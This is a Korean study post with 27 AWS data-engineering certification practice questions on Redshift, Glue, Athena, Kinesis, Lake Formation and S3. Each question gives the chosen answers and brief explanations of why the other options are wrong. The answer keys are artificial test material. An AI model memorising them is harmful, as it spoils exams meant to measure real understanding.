반응형

 

1 . 한 금융 서비스 회사는 Amazon Redshift를 사용하여 새 클라우드 데이터 웨어하우스를 구축하고 있다. 회사는 데이터 웨어하우스를 사용하여 주간 수익 추세를 분석하려 한다. 회사는 규정 준수를 위해 Amazon Redshift 내 활동을 모니터링하고 추적하는 감사 및 추적 솔루션을 구현하고자 한다. 이 회사는 SQL 쿼리, 사용자 상호 작용, 데이터베이스 및 객체의 변경 사항을 캡처하려고 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

클러스터에서 Amazon Redshift 감사 로깅을 사용한다. AWS CloudTrail에서 새 추적을 생성 및 구성하여 Amazon Redshift의 API 호출을 캡처하고 모니터링한다.

 

* 오답 정리

AWS Lambda 함수를 생성하여 Redshift 클러스터에서 생성된 Amazon CloudWatch Logs를 구문 분석한다. 관련 로그 세부 정보를 Amazon OpenSearch Service에 저장해 분석에 사용한다.

=> 운영 오버헤드

 

Amazon Redshift SQL 쿼리를 캡처하도록 Amazon CloudWatch Logs를 구성한다. Amazon CloudWatch 경보와 Amazon Simple Notification Service(SNS) 알림을 사용하여 비정상적인 활동을 경고한다.

=> CloudWatch 는 CPU 사용량, 쿼리 런타임, 클러스터 상태, 디스크 활용 공간 등의 정보를 캡처해서 승인되지 않았거나 의심스러운 활동과 관련될 수 있는 성능 이상 현상을 선제적으로 감지하여 보안을 강화할 때 필요

 

Amazon Redshift 시스템 테이블의 데이터를 Amazon S3으로 내보낸다. Amazon Athena를 사용하여 Amazon S3에서 추출된 데이터를 쿼리하고 분석한다.

=> 운영 오버헤드. 반복 실행되도록 예약 필요.

 

2 . Amazon S3와 독립형 Amazon Redshift 데이터베이스 간에 데이터를 이동하는 솔루션을 만들어야 하는 데이터 엔지니어가 있다. 분석을 위해 데이터를 Amazon Redshift로 옮겨야 한다. 그런 다음 아카이빙 목적으로 데이터를 다시 Amazon S3로 전송해야 한다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Amazon Redshift COPY 명령을 사용하여 Amazon S3에서 Amazon Redshift로 데이터를 로드한다. UNLOAD 명령을 사용하여 Amazon S3에 데이터를 로드한다.

 

* 오답 정리

Amazon Redshift Spectrum을 사용하여 Amazon S3에서 Amazon Redshift로 데이터를 로드한다. UNLOAD 명령을 사용하여 Amazon S3에 데이터를 로드한다.

=> 레드시프트 스펙트럼을 사용하려면 레드시프트 클러스터 필요. 독립형 레드시프트 데이터베이스에서는 사용할 수 없음

 

3 . 회사가 AWS에서 Amazon Redshift 클러스터를 운영하고 있다. 최근 클러스터를 감사한 결과 클러스터 생성 이후로 애플리케이션 데이터베이스 자격 증명이 교체되지 않은 것으로 확인됐다. 데이터 엔지니어는 데이터베이스 자격 증명의 보안 스토리지 및 자동 교체를 구성해야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS Secrets Manager에 데이터베이스 자격 증명을 저장한다. 자격 증명 교체 일정을 만든다. 정기적으로 데이터베이스 자격 증명을 교체하는 교체 함수를 작성한다.

 

* 오답 정리

자격 증명을 AWS Systems Manager Parameter Store에 보안 문자열로 저장한다. 정기적으로 데이터베이스 자격 증명이 교체되도록 Parameter Store에서 교체 예약을 설정한다.

=> Parameter Store에는 자격 증명 교체를 보장하는 기능이 내장되어 있지 않음

 

4 . 외부 클라우드 데이터 웨어하우스에 과거 데이터 집합을 저장하는 회사가 있다. 이 회사는 이러한 대규모 데이터 집합을 Amazon Redshift로 신속하게 마이그레이션하려고 한다. 데이터 집합 마이그레이션은 워크로드를 AWS로 마이그레이션하기 위한 통합 프로젝트의 일환이다. 다음 중 최소한의 노력으로 이러한 요구 사항을 충족하는 단계의 조합은 무엇인가? (2개 선택.)

 

더보기

AWS Schema Conversion Tool(AWS SCT)을 사용하여 외부 클라우드 데이터 웨어하우스 소스 스키마 및 데이터 정의 언어(DDL) 스크립트를 Amazon Redshift로 변환한다.

 

AWS Glue Studio를 사용하여 외부 클라우드 데이터 웨어하우스에서 Amazon Redshift로 데이터를 마이그레이션한다.

 

* 오답 정리

Amazon Redshift SQL 쿼리 편집기를 사용하여 외부 클라우드 데이터 웨어하우스 소스 스키마 및 데이터 정의 언어(DDL) 스크립트를 Amazon Redshift로 변환한다.

=> 쿼리 편집기는 대규모 데이터 집합 마이그레이션을 위해 설계되지 않음. 소스 데이터베이스 스키마를 검사하고 분석하는 추가적인 수작업이 필요.

 

Amazon Athena SQL 쿼리 에디터를 사용하여 외부 클라우드 데이터 웨어하우스에서 Amazon Redshift로 데이터를 마이그레이션한다.

=> 일부 데이터 유형의 경우 이기종 마이그레이션에서 변환해야 할 수도 있음

 

외부 클라우드 데이터 웨어하우스를 사용하여 데이터를 Amazon S3에 구분자로 일렬로 구분된 텍스트 파일로 언로드한다. Amazon Redshift SQL 쿼리 편집기에서 COPY 명령어를 사용하여 Amazon S3에서 Amazon Redshift로 데이터를 마이그레이션한다.

=> 일부 데이터 유형의 경우 이기종 마이그레이션에서 변환해야 할 수도 있음

 

5 . 회사에 30초마다 AWS에 5MB의 데이터를 업로드하는 IoT 디바이스 애플리케이션이 있다. 디바이스에서 데이터를 업로드한 후에 데이터는 디바이스에서 자동으로 제거된다. 데이터는 변환한 뒤에 Amazon S3 버킷에 저장되어야 한다. 데이터 변환은 간단하며 몇 초 내에 완료된다. 또한 변환되지 않은 데이터의 복사본은 나중에 다른 처리에서 사용할 수 있도록 두 번째 S3 버킷에 저장되어야 한다. 어떤 이유로 데이터가 성공적으로 변환되지 않으면 작업을 다시 시도할 수 있는 기능이 필요하다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

들어오는 데이터를 캡처할 수 있도록 Amazon Kinesis Data Streams를 구성한다. 데이터 스트림의 소비자로 AWS Lambda 함수를 구성하여 변환을 수행하고 첫 번째 S3 버킷에 데이터를 저장한다. 두 번째 소비자로 Amazon Kinesis Data Firehose를 구성하여 변환되지 않은 데이터를 두 번째 S3 버킷으로 전송한다.

 

* 오답 정리

들어오는 데이터를 캡처할 수 있도록 Amazon Kinesis Data Streams를 구성한다. 데이터 스트림의 소비자로 AWS Lambda 함수를 구성하여 변환을 수행하고 첫 번째 S3 버킷에 데이터를 저장한다. Kinesis Data Streams를 구성하여 변환되지 않은 데이터를 두 번째 S3 버킷에 직접 전송한다.

=> Kinesis Data Streams는 S3 버킷에 데이터를 직접 전송할 수는 없음

 

Amazon Kinesis Data Firehose를 구성하여 들어오는 데이터를 캡처한다. Kinesis Data Firehose 전송 스트림을 구성하여 변환을 수행하며 첫 번째 S3 버킷에 데이터를 저장하는 AWS Lambda 함수를 호출한다. Amazon Kinesis Data Streams를 구성하여 Kinesis Data Firehose에서 변환되지 않은 데이터를 가져와 두 번째 S3 버킷에 데이터를 전송한다.

=> Kinesis Data Firehose에는 요구 사항인 재시도 기능이 없음

 

6 . 추출, 변환 및 로드(ETL) 처리를 위해 AWS Glue를 사용하고 데이터 스토리지를 위해 Amazon S3 버킷을 사용하는 회사가 있다. AWS Glue 작업과 S3 버킷은 동일한 AWS 리전에 위치한다. 현재 AWS Glue 작업은 퍼블릭 인터넷을 통해 S3 버킷에 액세스한다. 그러나 회사에서는 AWS Glue 작업과 S3 버킷 간에 프라이빗 연결을 구성하려고 한다. 다음 중 가장 비용 효율적인 방식으로 이러한 요구 사항을 충족하는 단계의 조합은 무엇인가? (2개 선택.)

 

더보기

프라이빗 네트워크를 통해 S3 트래픽을 라우팅하는 S3 게이트웨이 VPC 엔드포인트를 만든다.

 

AWS Glue에서 네트워크 연결을 만들고 VPC와 서브넷을 지정한다.

=> AWS Glue 작업은 기본적으로 VPC에서 실행되지 않음

 

* 오답 정리

AWS Glue에 대한 프라이빗 액세스를 허용하는 AWS Glue VPC 인터페이스 엔드포인트를 만든다.

=> AWS Glue VPC 엔드포인트는 VPC 네트워크 내에서 AWS Glue API에 액세스하려는 경우에 사용

 

AWS PrivateLink를 사용하여 프라이빗 네트워크를 통해 S3 트래픽을 라우팅하는 S3 인터페이스 엔드포인트를 만든다.

=> 비용 오버헤드. 인터페이스 엔드포인트는 온프레미스 또는 다른 AWS 리전의 VPC에서 Amazon S3에 액세스하려는 경우에 유용

 

7 . 회사가 Amazon Elastic Container Service(Amazon ECS)에서 호스팅되는 분산 애플리케이션을 보유하고 있다. 애플리케이션은 Amazon CloudWatch Logs에 저장되는 애플리케이션 로그를 만든다. 회사는 로그 데이터를 쿼리하고 추세를 파악하고자 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

모든 로그 데이터를 CloudWatch Logs에 보관한다. CloudWatch Logs Insights를 사용하여 로그를 쿼리한다.

 

8 . 한 회사에서 개인 식별 정보(PII) 데이터를 감지하는 솔루션을 만들려고 한다. 솔루션은 다양한 AWS 데이터 집합과 파일 형식에서 PII 데이터를 식별할 수 있어야 한다. 솔루션은 데이터를 준비하는 동안 데이터 마스킹 기술을 제공해야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가? (2개 선택.)

 

더보기

AWS Glue Studio를 사용하여 다양한 AWS 데이터 집합에 연결하면 PII를 감지하고 데이터를 마스킹할 수 있다.

 

AWS Glue DataBrew를 사용하여 다양한 AWS 데이터 집합에 연결하면 PII를 감지하고 데이터를 마스킹할 수 있다.

 

* 오답 정리

Amazon Macie를 사용하여 다양한 AWS 데이터 집합에 연결하면 PII를 감지하고 데이터를 마스킹할 수 있다.

=> Amazon S3에 저장된 민감한 데이터만 검색 가능. 데이터 마스킹 기술을 제공하지 않음.

 

Amazon Comprehend를 사용하여 다양한 AWS 데이터 집합에 연결하면 PII를 감지하고 데이터를 마스킹할 수 있다.

=> Amazon Comprehend는 영어 텍스트 문서의 데이터만 지원

 

9 . 한 회사는 Amazon S3에 저장된 데이터를 월별로 분석한다. 분석을 수행하기 위해 회사는 Amazon Athena 테이블을 사용하고 Amazon QuickSight를 사용하여 직접 쿼리한다. 데이터는 여러 위치에서 회사를 운영하면서 얻은 상세한 판매 수익 지표로 구성된다. 현재 데이터는 CSV 형식으로 운영 체제에서 Amazon S3으로 수집된다. 데이터는 간단한 날짜 및 시간 형식 지정 외에 다른 변환 없이 표준화 목적으로 수집된다. 데이터 볼륨의 상당한 증가 때문에 QuickSight의 보고서에 액세스하는 비즈니스 사용자가 느린 응답 시간을 보고했다. 데이터 엔지니어는 응답 시간을 개선하기 위한 솔루션을 구현해야 한다. 다음 중 최소한의 운영 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

데이터를 위치 및 날짜별로 분할된 Apache Parquet 파일로 변환한다.

=> Athena에서 쿼리 완료 시간을 최적화하는 일반적인 최적화 기술이 두 가지가 있음. 첫 번째 기술은 Parquet 및 ORC와 같은 열 형식을 사용하는 것. 두 번째 기술은 데이터 소비에 맞춰 분할 전략을 사용하는 것

 

* 오답 정리

테이블 대신 Athena 뷰를 사용하여 QuickSight의 보고서에 필요한 분석을 실행한다.

=> 뷰는 최적화된 쿼리를 수행하는데 도움이 될 수 있음. 하지만 데이터 최적화가 먼저임

 

10 . 한 회사는 웹 서버에서 파일 업로드를 받은 다음 파일 서버에 파일을 저장하는 온프레미스 애플리케이션을 실행한다. 매일 밤 파일 서버의 태스크가 그날 업로드된 각 파일에 대해 AWS Lambda 함수를 한 번씩 호출한다. 회사에서는 파일을 받은 후 바로 파일 처리를 시작하고자 한다. 회사는 야간 태스크를 폐기하고자 한다. 다음 중 최소한의 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Amazon EventBridge에서 규칙을 생성한다. Lambda 함수를 EventBridge 규칙의 대상으로 지정한다. 파일 서버 태스크가 1분마다 실행되도록 수정한다. 새 파일을 업로드했을 때 PutEvents API를 사용하여 EventBridge 이벤트 버스에 이벤트를 배치한다.

 

* 오답 정리

Amazon S3에서 호스팅하는 새 버킷을 프록시하는 프록시 통합을 사용하여 Amazon API Gateway API를 생성한다. 웹 서버 파일 스토리지 대상을 온프레미스 파일 서버에서 S3 버킷으로 리디렉션한다. Lambda 함수를 대상으로 하는 S3 이벤트 알림을 만든다.

=> 가능하지만 파일 서버를 완전히 제거하는 상당한 아키텍처 변경 사항이 포함되어 있음

 

Amazon Simple Queue Service(Amazon SQS)의 표준 대기열을 생성한다. Lambda 함수를 대기열의 소비자로 지정한다. 파일 서버 태스크가 1분마다 실행되도록 수정한다. Amazon SQS ReceiveMessage API를 사용하여 새 파일을 업로드했을 때 Amazon SQS에서 Lambda로 메시지를 푸시하도록 한다.

=> Amazon SQS 대기열은 메시지를 푸시하지 않음

 

11 . 한 회사가 비즈니스에 적합한 새로운 데이터 스토리지 솔루션을 구현하려고 한다. 이 회사는 다양한 소스에서 원시 데이터를 수집한다. 데이터 엔지니어는 다양한 도구의 데이터를 지원할 수 있는 데이터 스토리지 솔루션을 구현해야 한다. 도구는 비즈니스 인텔리전스(BI) 대시보드에서 Apache Spark를 사용한 데이터 과학 프로그래밍에 이르기까지 다양하다. 스토리지는 내구성이 뛰어나고 비용 효율적이어야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Amazon S3에 데이터를 저장한다. Apache Parquet 또는 ORC 형식을 사용한다.

=> Parquet 및 ORC 열 형식을 데이터베이스 마이그레이션의 대상으로 사용할 수 있음. Parquet 및 ORC는 처음에 Apache Hadoop용으로 구축되어 있어 스파크와도 잘 동작함.

 

12 . JSON 형식의 데이터를 검색, 정리하고 스키마 일관성을 보장하기 위해 데이터 레이크를 구축해야 하는 데이터 엔지니어가 있다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS Glue 크롤러를 사용하여 데이터를 자동으로 검색하고 AWS Glue 데이터 카탈로그를 채운다. AWS Glue DataBrew를 사용하여 데이터를 정리한다. AWS Glue 스키마 레지스트리를 사용하여 스키마 일관성을 유지한다.

 

* 오답 정리

AWS Glue 크롤러를 사용하여 데이터를 자동으로 검색하고 AWS Glue 데이터 카탈로그를 채운다. AWS Glue DataBrew를 사용하여 데이터를 정리한다. AWS Glue DynamicFrame을 사용하여 스키마 일관성을 유지한다.

=> DynamicFrame은 테이블과 유사하며 함수형 스타일과 SQL 연산을 지원하지만, 스키마 일관성 유지 기능은 없음

 

13 . 한 데이터 엔지니어가 Amazon S3에 저장된 데이터에서 생성된 테이블에 대해 쿼리하는 데 Amazon Athena를 사용한다. 테이블은 날짜 및 시간을 기준으로 분할된다. 테이블은 세부적으로 분할되지만 쿼리는 파티션의 하위 집합만 읽는다. 이 테이블의 파티션 메타데이터를 관리하는 가장 효율적인 방법은 무엇인가?

 

더보기

Athena를 사용하여 테이블의 파티션 프로젝션을 구성한다.

=> 파티션 프로젝션을 사용하지 않으면 Athena는 AWS Glue 데이터 카탈로그에 GetPartitions 호출을 수행하게 된다. 그러면 Athena는 Amazon S3의 접두사 목록을 반복적으로 수행하여 파티션 메타데이터를 수집하게 되므로 운영 오버헤드가 발생한다.

 

* 오답 정리

새 파티션을 추가할 때마다 Athena에서 MSCK REPAIR TABLE 명령을 실행한다.

=> S3를 스캔하고 테이블 메타데이터에 새로운 Hive 스타일 파티션을 추가할 수 있지만 Amazon S3의 접두사와 객체를 반복적으로 나열

 

14 . 다양한 온프레미스 파일 시스템에서 데이터 레이크로 데이터를 수집하려는 회사가 있다. 데이터 엔지니어는 데이터 수집 파이프라인을 구축하고 있다. 거의 실시간으로 데이터 레이크의 여러 Amazon S3 버킷 간에 데이터를 분할해야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS DataSync를 사용하여 다양한 S3 버킷에 데이터를 업로드한다.

 

15 . 한 회사가 SaaS(서비스형 소프트웨어) 애플리케이션을 Amazon S3 데이터 레이크와 통합하여 데이터를 분석하려고 한다. 데이터 엔지니어는 SaaS 애플리케이션에서 Amazon S3로 데이터를 전송하는 솔루션을 설계해야 한다. 솔루션은 Amazon Athena에서 SQL을 사용하여 데이터를 사용할 수 있어야 한다. 회사는 전송 중에 데이터가 암호화되기를 원한다. 다음 중 어떤 단계를 조합해야 이러한 요구 사항을 충족할 수 있는가? (2개 선택.)

 

더보기

Amazon AppFlow를 사용하여 SaaS 애플리케이션과 Amazon S3 간에 데이터를 전송한다.

 

AWS Glue 크롤러를 사용하여 AWS Glue 데이터 카탈로그로 테이블을 채운다.

=> 데이터 수집 후, SQL 사용을 위해 데이터 카탈로그로 테이블 정의

 

16 . 한 전자 상거래 회사에서 일일 데이터 처리 Apache Spark 작업을 실행하여 판매 통계를 계산하고 데이터 분석가에게 알림을 보내려고 한다. 원시 데이터는 Amazon S3에서 사용할 수 있다. SQL을 통해 통계를 사용할 수 있어야 하며 통계는 Amazon S3에 유지한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Amazon EventBridge Scheduler를 사용하여 AWS Step Functions 워크플로를 매일 실행한다. 워크플로에 Amazon EMR Serverless 애플리케이션을 생성하는 작업을 포함한다. Spark 작업 실행을 시작하는 작업을 포함한다. 애플리케이션을 삭제하는 작업을 포함한다. AWS Glue 크롤러를 시작하는 작업을 포함한다. Amazon Simple Notification Service(SNS) 메시지를 게시하는 작업을 포함한다.

 

* 오답 정리

EC2 클러스터의 장기간 동안 실행되는 Amazon EMR에 Spark 작업을 실행하는 cron 작업을 예약한다. Spark 작업이 완료될 때 Amazon EventBridge 작업을 구성한다. EventBridge 작업에서는 AWS Lambda 함수를 호출해야 한다. Lambda 함수는 통계에 대해 AWS Glue 크롤러를 실행해야 하며 Amazon Simple Notification Service(SNS)를 사용하여 데이터 분석가에게 알려야 한다.

=> EC2 인스턴스를 유지 관리하는 데 추가적인 운영 오버헤드가 발생

 

17 . 매주 회사가 위치한 지역의 대기 질 변화를 분석하려는 회사가 있다. 이 회사는 Amazon QuickSight 대시보드에 결과를 제공하는 서버리스 데이터 파이프라인을 AWS에 구축했다. 하지만 대시보드 데이터가 매주 자동으로 새로 고침되지 않고 있다. 데이터 엔지니어가 데이터 파이프라인이 정기적으로 실행되지 않는 것을 발견한다. 데이터 엔지니어는 문제를 해결하기 위해 프레임워크를 오케스트레이션하고 일정을 잡아야 한다. 다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

오케스트레이션을 위해 AWS Step Functions를 사용한다. 매주 일정 예약을 위해 Amazon EventBridge 스케줄러를 사용한다.

 

* 오답 정리

매주 오케스트레이션 및 일정 예약을 위해 Amazon Managed Workflows for Apache Airflow(Amazon MWAA)를 사용한다.

=> S3 버킷, Amazon VPC 네트워크, Amazon MWAA 환경을 생성해야 함

 

18 . 한 데이터 엔지니어가 회사에 처음 입사하여 배정된 곳은 AWS Lake Formation 관련 팀이다. 데이터 엔지니어는 판매 데이터베이스에서 테이블을 관리해야 한다. 데이터 엔지니어는 새 데이터베이스를 만들려고 하지만 'NotAuthorized'의 보안 오류가 뜬다. 데이터 엔지니어가 이 문제를 해결하는 데 필요한 권한 또는 정책은 무엇인가?

 

더보기

데이터베이스 작성자 권한

=> 데이터베이스 작성자는 자신이 만든 데이터베이스에 대해서는 모든 데이터베이스 권한을 보유할 수 있다. 최소 권한 원칙

 

19 . 한 회사는 중앙 집중식 데이터 웨어하우스 AWS 계정에서 Amazon Redshift를 사용한다. 새 프로젝트에서 데이터 엔지니어는 데이터 웨어하우스에 저장된 일부 데이터에 대한 분석 파이프라인을 개발해야 한다. 프로젝트는 별도의 데이터 분석가 AWS 계정에서 구축된다. 클러스터에 저장된 테이블의 여러 열에는 개인 식별 정보(PII)가 포함되어 있다. 프로젝트 개발 단계 동안 데이터 분석가 AWS 계정에 PII에 대한 액세스 권한을 부여해서는 안 된다. 다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

데이터 분석가 AWS 계정의 새 Redshift 클러스터를 생성한다. AWS Lake Formation을 사용하여 기존 Redshift 클러스터에서 새로운 Redshift 클러스터로 PII가 아닌 열의 계정 간 관리형 데이터 공유를 생성한다.

 

* 오답 정리

UNLOAD 명령을 사용하여 PII가 아닌 열을 Amazon S3에 Apache Parquet 파일 형식으로 언로드한다. 데이터 분석가 AWS 계정에 대한 계정 간 S3 액세스 권한을 제공한다. 데이터 분석가 AWS 계정의 새 Redshift 클러스터로 데이터를 수집한다.

 

데이터 분석가 AWS 계정의 새 Redshift 클러스터를 생성한다. 계정 간 AWS Glue 작업을 만들어 기존 AWS 계정의 기존 Redshift 클러스터에서 새로 생성한 클러스터로 PII가 아닌 열만 수집한다.

 

UNLOAD 명령을 사용하여 PII가 아닌 열을 Amazon S3에 Apache Parquet 파일 형식으로 언로드한다. 데이터 분석가 AWS 계정에 대한 계정 간 S3 액세스 권한을 제공한다. 데이터 분석가 AWS 계정에 새 Redshift 클러스터를 생성하고 Amazon Redshift Spectrum을 사용하여 데이터에 액세스한다.

=> 복제 된 시점의 특정 데이터만 공유됨

 

20 . 한 전자 상거래 회사는 AWS Glue ETL(추출, 변환 및 로드)을 사용하여 데이터 파이프라인을 운영한다. 먼저 Amazon S3 버킷은 파이프라인에서 원시 판매 데이터를 저장한다. 그런 다음 AWS Glue는 데이터를 변환하여 Amazon Redshift 데이터 웨어하우스에 데이터를 로드한다. 분석 담당자는 SQL을 사용하여 Amazon Redshift를 쿼리하고 보고서를 생성한다.

회사는 상품 판매 테이블에서 선택된 열에 대해 수익률을 계산하는 비즈니스별 로직을 구현하려고 한다. 분석 담당자는 이 솔루션을 통해 더 나은 보고서를 작성할 수 있어야 한다.

다음 중 어떤 단계를 조합해야 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할 수 있는가? (2개 선택.)

 

더보기

Amazon Redshift에서 저장 프로시저(stored procedure)를 생성하여 비즈니스 로직을 구현한다.

 

분석 담당자에게 Amazon Redshift SQL 저장 프로시저(stored procedure)를 사용하도록 안내한다.

 

21 . 물류 회사에서 근무하는 한 데이터 엔지니어는 회사 차량의 플릿에 소비되는 연료 요구 사항을 계획해야 한다. 연료 요구 사항을 산정하는 기준은 운송할 패키지 수량과 운행 거리이다. 플릿의 각 차량은 운행한 거리 및 패키지 수량에 관한 데이터를 회사에 다시 보낸다. 따라서 회사는 차량의 플릿에서 대량의 원시 데이터를 수신하게 된다. 원시 데이터는 Amazon S3 버킷에 저장된다. 데이터 엔지니어는 원시 데이터를 읽고, 처리하고, 변환할 수 있는 ETL(추출, 변환, 로드) 파이프라인을 오케스트레이션하려고 한다. 그런 다음 분석과 보고를 위해 ETL 파이프라인으로 데이터를 저장해야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS Step Functions를 사용하여 ETL 파이프라인을 자동화한다. 데이터 스토리지용으로 Amazon S3을 사용한다. AWS Glue를 사용하여 데이터를 변환한다. 분석 및 보고용으로 Amazon Athena를 사용한다.

 

* 오답 정리

AWS Batch를 사용하여 ETL 작업을 병렬로 실행한다. AWS Glue를 사용하여 데이터를 변환한다. Amazon DynamoDB를 사용하여 변환된 데이터를 저장하고 분석과 보고에 활용한다.

=> AWS Batch는 시나리오에 언급된 데이터 스토리지, 변환 및 분석을 관리하는 데 필요한 기능을 제공하지 않음

DynamoDB는 NoSQL 데이터베이스이므로, 쿼리 및 분석을 자주 해야 하는 비정형 데이터를 저장하는 데 가장 적합한 솔루션이 아님

 

22 . 한 회사에서 Amazon S3에 데이터를 저장하려고 한다. AWS Organizations의 멤버가 아닌 AWS 계정에서 버킷을 생성해야 한다. 데이터 엔지니어는 데이터 보호를 구현해야 한다. 데이터 엔지니어는 데이터가 유지되고 모든 사용자가 1년 동안 데이터를 수정하거나 삭제하지 않도록 해야 한다. 솔루션은 보존 기간을 1년으로 설정할 수 있는 기능을 제공해야 한다.

최소한의 운영 오버헤드로 이러한 요구 사항을 충족하기 위해 데이터 엔지니어는 버킷을 어떻게 만들 수 있는가?

 

더보기

S3 객체 잠금을 사용하여 S3 버전 관리 및 규정 준수 모드를 사용한다.

 

* 오답 정리

S3 객체 잠금을 사용하여 S3 버전 관리 및 거버넌스 모드를 사용한다.

=> 거버넌스 모드를 사용하면 잠금을 제거할 수 있는 특정 AWS Identity and Access Management(AWS IAM) 권한이 있는 AWS 계정을 지정할 수 있습니다. 그러나 잠금을 제거하면 데이터가 수정되거나 삭제될 위험이 있음.

 

S3 객체 잠금을 사용하여 S3 버전 관리를 사용하고 법적 보존을 설정한다. 모든 보안 주체에 대한 쓰기 작업을 거부하도록 S3 버킷 정책을 생성한다.

=> 법적 보존은 보존 기간 없이 객체를 보존. 시나리오에 따르면 보존 기간이 필요

 

23 . 한 회사는 Amazon S3에서 데이터 레이크를 사용한다. 직원들은 모든 부서의 데이터에 액세스할 수 있다. 회사는 Amazon Athena를 사용하여 데이터 레이크에서 인사이트를 추출할 수 있다. 한 데이터 엔지니어는 계좌 번호와 같은 일부 민감한 데이터에 대한 액세스에 제한을 두는 보안 계층을 구현하려고 한다. 보안 규칙은 테이블의 메타데이터 카탈로그에 직접 구현되어야 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS Lake Formation을 사용하여 데이터 레이크 액세스 제어를 관리한다. 데이터 레이크의 보안 정책을 구성한다.

=> Lake Formation은 메타데이터 카탈로그에 보안 규칙을 직접 구현

 

24 . 한 금융 회사가 운영 시스템의 판매 데이터를 Amazon S3으로 내보낸다. 회사는 이 데이터를 사용하여 판매 수익 추세를 월별로 분석한다. 데이터는 Apache Parquet 형식으로 Amazon S3에 수집된다. 데이터는 날짜별로 파티션이 분할된다. 데이터 엔지니어가 설계하는 솔루션을 사용하여 데이터 분석가가 데이터를 분석할 수 있어야 한다. 데이터 분석가는 데이터를 사용하여 월별 추세를 게시한다. 다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Amazon Athena 테이블 및 뷰를 만들어 데이터 분석가가 데이터에 액세스하고 데이터를 쿼리한다. 데이터 분석가에게 Athena에 대한 액세스 권한을 제공하여 데이터를 쿼리한다.

 

25 . Amazon S3 데이터 레이크를 사용하는 회사가 있다. 소스 파일은 매일 데이터 레이크에 수집된다. 데이터 분석 팀은 들어오는 데이터를 처리하기 위해 Amazon S3에서 이벤트 기반 파이프라인을 구축해야 한다. 파이프라인은 데이터를 처리하고 다른 S3 버킷에 데이터를 저장하기 위해 AWS Lambda 함수를 사용한다. 팀은 들어오는 S3 버킷에 파일이 도착할 때마다 Lambda 함수가 호출되도록 하려고 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가? (2개 선택.)

 

더보기

들어오는 S3 버킷에 파일이 추가되는 소스 접두사에 대한 S3 이벤트 알림을 구성한다. Lambda 함수를 이벤트의 대상으로 추가한다.

 

들어오는 S3 버킷이 모든 S3 이벤트를 Amazon EventBridge로 전송하도록 구성한다. 파일이 S3 버킷에 추가될 때 Lambda 함수를 호출하도록 EventBridge 규칙을 구성한다.

 

26 . 한 회사에는 Amazon RDS PostgreSQL 데이터베이스에서 데이터를 준비하고 정리할 데이터 엔지니어가 필요하다. 회사는 데이터를 시각화에 사용하려고 한다. 매월 프로세스를 수행해야 하며 수정이 필요할 수 있다. 수정에서는 누락된 값을 입력하고, 데이터 집합을 결합하고, 데이터를 필터링한다. Amazon RDS 데이터베이스의 데이터 크기는 약 10GB이다. 다음 중 최소한의 프로그래밍 개발 시간으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS Glue DataBrew에서 데이터 변환에 대한 작업을 생성한다.

 

* 오답 정리

Amazon EMR Apache Spark 작업을 개발하여 필요한 작업을 수행한다.

=> EMR 클러스터는 10GB의 데이터를 처리하기에는 크기가 너무 큼

 

Amazon Athena에서 SQL 쿼리를 정의하고 결과를 Amazon S3에 출력한다.

=> Athena는 데이터를 삭제하거나 누락된 값을 입력하기 위한 수정은 지원하지 않음

 

27 . 한 회사는 Amazon S3 버킷에 데이터를 저장한다. 이 회사는 새로운 데이터 수명 주기 및 보존 정책을 채택하는 중이다. 정책 정의는 다음과 같다.

  • 쿼리 빈도가 잦은 데이터는 데이터의 사용 기간에 관계없이 즉시 사용할 수 있어야 한다.
  • 90일 이내에 쿼리되지 않은 데이터는 최저 스토리지 비용으로 저장되어야 한다.
  • 10년을 초과한 데이터는 삭제한다.

데이터 엔지니어는 수명 주기 및 보존 정책에 따라 데이터를 비용 효율적으로 저장할 수 있는 솔루션을 구성해야 한다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

새 데이터는 Archive Access 계층을 기반으로 S3 Intelligent-Tiering 스토리지 클래스에 저장한다. Amazon Athena를 사용하여 Amazon S3에 있는 데이터를 해당 위치에서 쿼리한다. 10년 후에 데이터를 삭제하는 수명 주기 규칙을 구성한다.

 => S3 Intelligent-Tiering은 액세스 패턴이 변경되거나 알려지지 않은 경우 데이터를 가장 비용 효율적인 스토리지 클래스로 자동 이전

 

* 오답 정리

새 데이터는 S3 Infrequent Access 스토리지 클래스에 저장한다. Amazon Athena를 사용하여 Amazon S3에 있는 데이터를 해당 위치에서 쿼리한다. 데이터를 90일 후에 S3 Glacier Flexible Retrieval 스토리지 클래스로 마이그레이션하는 수명 주기 규칙을 만든다. 10년 후에 데이터를 삭제하는 수명 주기 규칙을 구성한다.

=> S3 Glacier Flexible Retrieval 스토리지 클래스에서 데이터 수명 주기를 관리하는 솔루션은 쿼리 빈도가 잦은 데이터를 90일 후에 아카이브 스토리지 클래스로 이전시킬 수 있음

 

